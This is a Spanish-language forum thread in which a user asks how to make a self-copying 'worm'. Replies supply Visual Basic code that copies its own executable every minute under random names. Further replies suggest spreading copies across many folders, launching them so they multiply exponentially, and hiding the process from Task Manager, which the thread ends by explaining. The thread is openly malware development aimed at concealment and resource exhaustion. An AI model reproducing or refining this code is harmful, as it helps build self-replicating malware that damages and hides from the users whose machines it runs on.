Hola, como puedo hacer para que mi worm se copie cada minuto con nombres aleatorios
Private Declare Function GetTickCount& Lib "kernel32" ()
Sub main()
Infectar
End Sub
Public Function Infectar()
Dim Yo As String, Ruta As String
Yo = App.Path & "\" & App.EXEName & ".exe"
Ruta = "C:\CARPETA\RUTA\QUE\QUIERAS"
FileCopy Yo, Ruta & "\" & Aleatorio & ".exe"
Esperar (1000)
End Function
Public Function Esperar(Time As Long)
tmp As Long
tmp = Time + GetTickCount&
While tmp >= GetTickCount&
DoEvents
Wend
Infectar
End Function
Private Function Aleatorio() As Long
Randomize
Aleatorio = CLng((100000 - 999999) * Rnd + 999999)
End Function
Que lo disfrutes....
Pero deberias haverlo hecho tu :¬¬
PD: Si no entiendes algo pregunta.
copiarse cade minuto....... un programa por ejemplo de 1 mb y un ordenador encendido algun tiempo puede hacer sospechar a cualquiera que algo raro pasa.
bueno lo unico que no entiendo es lo de esperar :-\
Pues para esperar un minuto usa un timer. Si necesitas esperar mas tiempo del q alcanza el intervalo del timer pues usas un contador. Lo explico en pocas palabras por q con esta ya lo e debido de explicar como 1000 veces, busca por el foro, q ya esta muy dicho....
lo de poner un timer si lo sabia pero no esta funcion :
Public Function Esperar(Time As Long)
tmp As Long
tmp = Time + GetTickCount&
While tmp >= GetTickCount&
DoEvents
Wend
Infectar
End Function
Cita de: xhc en 25 Noviembre 2007, 20:39 PM
lo de poner un timer si lo sabia pero no esta funcion :
Public Function Esperar(Time As Long)
tmp As Long
tmp = Time + GetTickCount&
While tmp >= GetTickCount&
DoEvents
Wend
Infectar
End Function
-->
VAGO!!! (http://www.recursosvisualbasic.com.ar/htm/listado-api/api-51-sleep.htm)<--
PD: Te he dado un link :)
La verdad se me hace poco ingenioso el código, si lo que quieres es que cada minuto se copie lo del timer esta bien pero deberias probar cambiar el nombre del archivo con algo más ingenioso por ejemplo usar una combinación de carácteres y números en lugar de solo números, además de probar una matríz para los nombres de la carpeta, para que así se autocopie en diferentes carpetas en lugar de solo una en específico, además de crear una lista con la ubicación más de uno de los nuevos gusanos, para que así se puedan ejecutar estos o mejor aun hacer que se ejecuten a tráves de una instrucción, de esa manera la cantidad de archivos se multiplica exponencialmente.
por último te recomiendo que crees un programa que controle al gusanito para que no se ejecute más de n cantidad de veces al mismo tiempo y agregale una instrucción para que no aparezca en la ventana de "Administrador de Tareas".
Creo que con la ayuda que te dieron es suficiente para que lo desarrolles tu, yo solo opino que hay que tener un poco más de imaginación, pero eso es cosa de cada quien, si necesitas ayuda con tu código postealo y luego lo reviso.
pero solo es una funcion "secundaria", no creo que se de cuenta de la carpeta donde se copian. Estaba haciendo un worm perohace poco se me jodio el sector de arranque y se me borro, ahora estoy volviendo a hacer uno, en que acabe los examenes y tenga tiempo lo hare, posteare el codigo si queris
saludos :D
que instruccion hay que poner para que no aparezca en la ventana de "Administrador de Tareas"?
gracias
en las propiedades del form, cambias "ShowInTaskbar" a false
o en codigo app.taskvisible = false